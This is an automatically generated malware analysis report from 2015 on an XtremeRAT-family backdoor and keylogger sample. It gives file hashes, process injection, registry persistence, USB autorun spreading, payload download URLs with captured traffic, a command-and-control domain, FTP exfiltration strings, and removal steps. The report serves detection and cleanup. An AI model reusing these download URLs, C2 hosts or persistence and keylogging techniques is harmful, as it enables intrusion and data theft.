Gen.Variant.Kazy.355680_50e747f717

by malwarelabrobot on January 21st, 2015 in Malware Descriptions.

Trojan.Win32.Xtrat.mkw (Kaspersky), Gen:Variant.Kazy.355680 (B) (Emsisoft), Gen:Variant.Kazy.355680 (AdAware), Backdoor.Win32.Farfli.FD, Backdoor.Win32.Xtrat.FD, Trojan.Win32.IEDummy.FD, mzpefinder_pcap_file.YR, GenericAutorunWorm.YR, GenericInjector.YR (Lavasoft MAS)
Behaviour: Trojan, Backdoor, Worm, WormAutorun


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 50e747f717f90a332efeae002bba2d37
SHA1: c0ec95114b26b591d51f6e1d1b1f1879b7b3af48
SHA256: 3e0ffc639c98caa04a29ed024b5aa72fbe2f450fec0b003f5ae383c70298cf22
SSDeep: 192:r0LgFU 9GXdaLiAQJsuARtVEnlYJLVLTi93Nnd :r0LqUYMdaLiAQkrhLTi9n
Size: 7680 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company: AudioPerformer
Created at: 2015-01-10 17:21:11
Analyzed on: WindowsXPESX SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

Behaviour Description
WormAutorun A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.


Process activity

The Trojan creates the following process(es):

server.com:164
server.com:344
d70KLrQfgdEMhtVoyEiV7.exe:1128
%original file name%.exe:1008

The Trojan injects its code into the following process(es):

svchost.exe:1540
iexplore.exe:1120
svchost.exe:428

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process server.com:164 makes changes in the file system.
The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\x.html (0 bytes)

The process server.com:344 makes changes in the file system.
The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\x.html (0 bytes)

The process d70KLrQfgdEMhtVoyEiV7.exe:1128 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP\server.com (1568 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP\server.com (0 bytes)

The process %original file name%.exe:1008 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\d70KLrQfgdEMhtVoyEiV7.exe (10208 bytes)

Registry activity

The process server.com:164 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5D 45 81 79 62 66 B0 85 EC 4B C4 FE 63 77 5F D0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5c14c4f6-74da-11e2-81b0-000c29ec7fc5}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\XtremeRAT]
"Mutex" = "zSTa1zikE"

The process server.com:344 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F9 B3 7F 4A 6D 9A 1B 0E 99 73 DD 30 8E 37 C2 28"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5c14c4f6-74da-11e2-81b0-000c29ec7fc5}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\XtremeRAT]
"Mutex" = "zSTa1zikE"

The Trojan deletes the following registry key(s):

[HKCU\Software\XtremeRAT]

The process d70KLrQfgdEMhtVoyEiV7.exe:1128 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E0 50 37 21 24 21 7F A8 86 1A A0 BE CB 36 0A 59"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"wextract_cleanup0" = "rundll32.exe %System%\advpack.dll,DelNodeRunDLL32 C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\IXP000.TMP\"

The Trojan deletes the following value(s) in system registry:
The Trojan disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"wextract_cleanup0"

The process %original file name%.exe:1008 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "66 C1 26 3E D6 29 F7 44 E3 2E 48 C4 4D 52 3E B3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{5c14c4f6-74da-11e2-81b0-000c29ec7fc5}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp]
"d70KLrQfgdEMhtVoyEiV7.exe" = "Win32 Cabinet Self-Extractor"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

Dropped PE files

MD5 File path
bfa4236e4b332651910723062a3e3067 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\d70KLrQfgdEMhtVoyEiV7.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.

VersionInfo

Company Name:
Product Name:
Product Version: 1.0.0.0
Legal Copyright:
Legal Trademarks:
Original Filename: ???????.exe
Internal Name: ???????.exe
File Version: 1.0.0.0
File Description:
Comments:
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 8192 5524 5632 3.73542 37d74876f8b213a82f218134cffebe03
.rsrc 16384 672 1024 1.59012 aa380b036f4bd9e0b15804332f8085a2
.reloc 24576 12 512 0.056519 bc654397a960343a87b402fbbadd07e0

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://ge.tt/api/1/files/1pPhcJ82/0/blob?download 54.195.252.180
hxxp://open.ge.tt/1/files/1pPhcJ82/0/blob?download
hxxp://s3-3-w.amazonaws.com/gett/1pPhcJ82/explorer.cmd?response-content-disposition=attachment;&AWSAccessKeyId=AKIAI7XHZJPL62V2UOVA&Signature=awCiUXRVucC5Ph7X/apr2eC4JsY=&Expires=1421762172
hxxp://w155166.open.ge.tt/1/files/1pPhcJ82/0/blob?download 54.247.122.87
hxxp://s3.kkloud.com.s3.amazonaws.com/gett/1pPhcJ82/explorer.cmd?response-content-disposition=attachment;&AWSAccessKeyId=AKIAI7XHZJPL62V2UOVA&Signature=awCiUXRVucC5Ph7X/apr2eC4JsY=&Expires=1421762172 54.231.140.178


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY Executable served from Amazon S3

Traffic

GET /gett/1pPhcJ82/explorer.cmd?response-content-disposition=attachment;&AWSAccessKeyId=AKIAI7XHZJPL62V2UOVA&Signature=awCiUXRVucC5Ph7X/apr2eC4JsY=&Expires=1421762172 HTTP/1.1
Host: s3.kkloud.com.s3.amazonaws.com
Connection: Keep-Alive


HTTP/1.1 200 OK
x-amz-id-2: 7ONYUfJnWm4StMsHFidp0VqzSoGyo5U2U45/0TDZzWvONQ/TORNs9RRL63oXhekc/GNDRrG1lhI=
x-amz-request-id: 5454F2C830164658
Date: Tue, 20 Jan 2015 13:51:22 GMT
Content-Disposition: attachment;
Last-Modified: Sat, 10 Jan 2015 15:20:42 GMT
ETag: "903a228d33a42500a66a2fa4888c6da1-1"
Accept-Ranges: bytes
Content-Type: application/octet-stream
Content-Length: 486912
Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........e.........
....SQ......SQ......SQ......SQ..........I...SQ.......hu.....SQ......SQ
......Rich............PE..L...#.[R.................f...........g......
......@.......................................@...... ................
......................T.......................P... ...................
............X...@............................................text....e
.......f.................. ..`.data................j..............@...
.idata..x............n..............@[email protected].........................
......@[email protected][email protected]....................
......................................................................
......................................................................
......................................................................
......................................................................
[email protected]@[email protected]
@.........#.[R........%.......................................@.@...@.
Invalid parameter passed to C runtime function......advapi32.dll....Ch
eckTokenMembership...."... ....INF....[...]...Reboot..AdvancedINF.Vers
ion.setupx.dll..setupapi.dll.....BAT....SeShutdownPrivilege.advpack.dl
l.DelNodeRunDLL32.*...........wininit.ini.%lu.Software\Microsoft\Windo
ws\CurrentVersion\App Paths.\...K.e.r.n.e.l.3.2...d.l.l.....HeapSetInf
ormation..TITLE...EXTRACTOPT..INSTANCECHECK...VERCHECK....DecryptF

<<< skipped >>>

GET /1/files/1pPhcJ82/0/blob?download HTTP/1.1
Host: w155166.open.ge.tt
Connection: Keep-Alive


HTTP/1.1 307 Temporary Redirect
location: hXXp://s3.kkloud.com.s3.amazonaws.com/gett/1pPhcJ82/explorer.cmd?response-content-disposition=attachment;&AWSAccessKeyId=AKIAI7XHZJPL62V2UOVA&Signature=awCiUXRVucC5Ph7X/apr2eC4JsY=&Expires=1421762172
connection: keep-alive
transfer-encoding: chunked
0..


GET /api/1/files/1pPhcJ82/0/blob?download HTTP/1.1
Host: ge.tt
Connection: Keep-Alive


HTTP/1.1 307 Temporary Redirect
location: hXXp://w155166.open.ge.tt/1/files/1pPhcJ82/0/blob?download
Connection: keep-alive
Transfer-Encoding: chunked
0..


The Trojan connects to the servers at the folowing location(s):

svchost.exe_1540:

.text
`.data
.rsrc
ADVAPI32.dll
KERNEL32.dll
NTDLL.DLL
RPCRT4.dll
NETAPI32.dll
ole32.dll
ntdll.dll
RegCloseKey
RegOpenKeyExW
GetProcessHeap
NtOpenKey
svchost.pdb
\PIPE\
Software\Microsoft\Windows NT\CurrentVersion\Svchost
\Registry\Machine\System\CurrentControlSet\Control\SecurePipeServers\
5.1.2600.5512 (xpsp.080413-2111)
svchost.exe
Windows
Operating System
5.1.2600.5512

svchost.exe_1540_rwx_10000000_0004D000:

`.rsrc
ServerKeyloggerU
789:;<&'()* ,-./12345
%SERVER%
URLMON.DLL
shell32.dll
hXXp://
advapi32.dll
kernel32.dll
mpr.dll
version.dll
comctl32.dll
gdi32.dll
opengl32.dll
user32.dll
wintrust.dll
msimg32.dll
KWindows
TServerKeylogger
GetWindowsDirectoryW
RegOpenKeyExW
RegCreateKeyW
RegCloseKey
RegOpenKeyExA
FindExecutableW
ShellExecuteW
SHDeleteKeyW
URLDownloadToCacheFileW
UnhookWindowsHookEx
SetWindowsHookExW
MapVirtualKeyW
GetKeyboardLayout
GetKeyState
GetKeyboardType
GetKeyboardState
FtpPutFileW
FtpSetCurrentDirectoryW
.idata
.rdata
P.reloc
P.rsrc
URLD
KERNEL32.DLL
ntdll.dll
oleaut32.dll
shlwapi.dll
wininet.dll
x.html
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_CURRENT_CONFIG
[Execute]
KeyDelBackspace
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
.html
XtremeKeylogger
Software\Microsoft\Windows\CurrentVersion\Run
.functions
icon=shell32.dll,4
shellexecute=
autorun.inf
\Microsoft\Windows\
ÞFAULTBROWSER%
svchost.exe
osaam2015.zapto.org
C:\Users\apple
explorer.cmd
C:\Windows\system32\CLBCatQ{548PU2PV-E3D1-JX7W-VV24-41GYGKNSTX50}
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
.zSTa1zikEEXIT
PTF.ftpserver.com
ftpuser

iexplore.exe_1120:

%?9-*09,*19}*09
.text
`.data
.rsrc
msvcrt.dll
KERNEL32.dll
NTDLL.DLL
USER32.dll
SHLWAPI.dll
SHDOCVW.dll
Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess
IE-X-X
rsabase.dll
System\CurrentControlSet\Control\Windows
dw15 -x -s %u
watson.microsoft.com
IEWatsonURL
%s -h %u
iedw.exe
Iexplore.XPExceptionFilter
jscript.DLL
mshtml.dll
mlang.dll
urlmon.dll
wininet.dll
shdocvw.DLL
browseui.DLL
comctl32.DLL
IEXPLORE.EXE
iexplore.pdb
ADVAPI32.dll
MsgWaitForMultipleObjects
IExplorer.EXE
IIIIIB(II<.Fg
7?_____ZZSSH%
)z.UUUUUUUU
,....Qym
````2```
{.QLQIIIKGKGKGKGKGKG
;33;33;0
8888880
8887080
browseui.dll
shdocvw.dll
6.00.2900.5512 (xpsp.080413-2105)
Windows
Operating System
6.00.2900.5512

iexplore.exe_1120_rwx_10000000_0004D000:

`.rsrc
ServerKeyloggerU
789:;<&'()* ,-./12345
%SERVER%
URLMON.DLL
shell32.dll
hXXp://
advapi32.dll
kernel32.dll
mpr.dll
version.dll
comctl32.dll
gdi32.dll
opengl32.dll
user32.dll
wintrust.dll
msimg32.dll
KWindows
TServerKeylogger
GetWindowsDirectoryW
RegOpenKeyExW
RegCreateKeyW
RegCloseKey
RegOpenKeyExA
FindExecutableW
ShellExecuteW
SHDeleteKeyW
URLDownloadToCacheFileW
UnhookWindowsHookEx
SetWindowsHookExW
MapVirtualKeyW
GetKeyboardLayout
GetKeyState
GetKeyboardType
GetKeyboardState
FtpPutFileW
FtpSetCurrentDirectoryW
.idata
.rdata
P.reloc
P.rsrc
URLD
KERNEL32.DLL
ntdll.dll
oleaut32.dll
shlwapi.dll
wininet.dll
x.html
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_CURRENT_CONFIG
[Execute]
KeyDelBackspace
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
.html
XtremeKeylogger
Software\Microsoft\Windows\CurrentVersion\Run
.functions
icon=shell32.dll,4
shellexecute=
autorun.inf
\Microsoft\Windows\
ÞFAULTBROWSER%
svchost.exe
osaam2015.zapto.org
C:\Users\apple
explorer.cmd
C:\Windows\system32\CLBCatQ{548PU2PV-E3D1-JX7W-VV24-41GYGKNSTX50}
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
.zSTa1zikEEXIT
PTF.ftpserver.com
ftpuser
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\IXP000.TMP\server.com
%Program Files%\Internet Explorer\iexplore.exe

svchost.exe_428:

.text
`.data
.rsrc
ADVAPI32.dll
KERNEL32.dll
NTDLL.DLL
RPCRT4.dll
NETAPI32.dll
ole32.dll
ntdll.dll
RegCloseKey
RegOpenKeyExW
GetProcessHeap
NtOpenKey
svchost.pdb
\PIPE\
Software\Microsoft\Windows NT\CurrentVersion\Svchost
\Registry\Machine\System\CurrentControlSet\Control\SecurePipeServers\
5.1.2600.5512 (xpsp.080413-2111)
svchost.exe
Windows
Operating System
5.1.2600.5512

svchost.exe_428_rwx_10000000_0004D000:

`.rsrc
ServerKeyloggerU
789:;<&'()* ,-./12345
%SERVER%
URLMON.DLL
shell32.dll
hXXp://
advapi32.dll
kernel32.dll
mpr.dll
version.dll
comctl32.dll
gdi32.dll
opengl32.dll
user32.dll
wintrust.dll
msimg32.dll
KWindows
TServerKeylogger
GetWindowsDirectoryW
RegOpenKeyExW
RegCreateKeyW
RegCloseKey
RegOpenKeyExA
FindExecutableW
ShellExecuteW
SHDeleteKeyW
URLDownloadToCacheFileW
UnhookWindowsHookEx
SetWindowsHookExW
MapVirtualKeyW
GetKeyboardLayout
GetKeyState
GetKeyboardType
GetKeyboardState
FtpPutFileW
FtpSetCurrentDirectoryW
.idata
.rdata
P.reloc
P.rsrc
URLD
KERNEL32.DLL
ntdll.dll
oleaut32.dll
shlwapi.dll
wininet.dll
x.html
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_CURRENT_CONFIG
[Execute]
KeyDelBackspace
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
.html
XtremeKeylogger
Software\Microsoft\Windows\CurrentVersion\Run
.functions
icon=shell32.dll,4
shellexecute=
autorun.inf
\Microsoft\Windows\
ÞFAULTBROWSER%
svchost.exe
osaam2015.zapto.org
C:\Users\apple
explorer.cmd
C:\Windows\system32\CLBCatQ{548PU2PV-E3D1-JX7W-VV24-41GYGKNSTX50}
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
.zSTa1zikEEXIT
PTF.ftpserver.com
ftpuser


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    server.com:164
    server.com:344
    d70KLrQfgdEMhtVoyEiV7.exe:1128
    %original file name%.exe:1008

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temp\IXP000.TMP\server.com (1568 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\d70KLrQfgdEMhtVoyEiV7.exe (10208 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
    "wextract_cleanup0" = "rundll32.exe %System%\advpack.dll,DelNodeRunDLL32 C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\IXP000.TMP\"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
  7. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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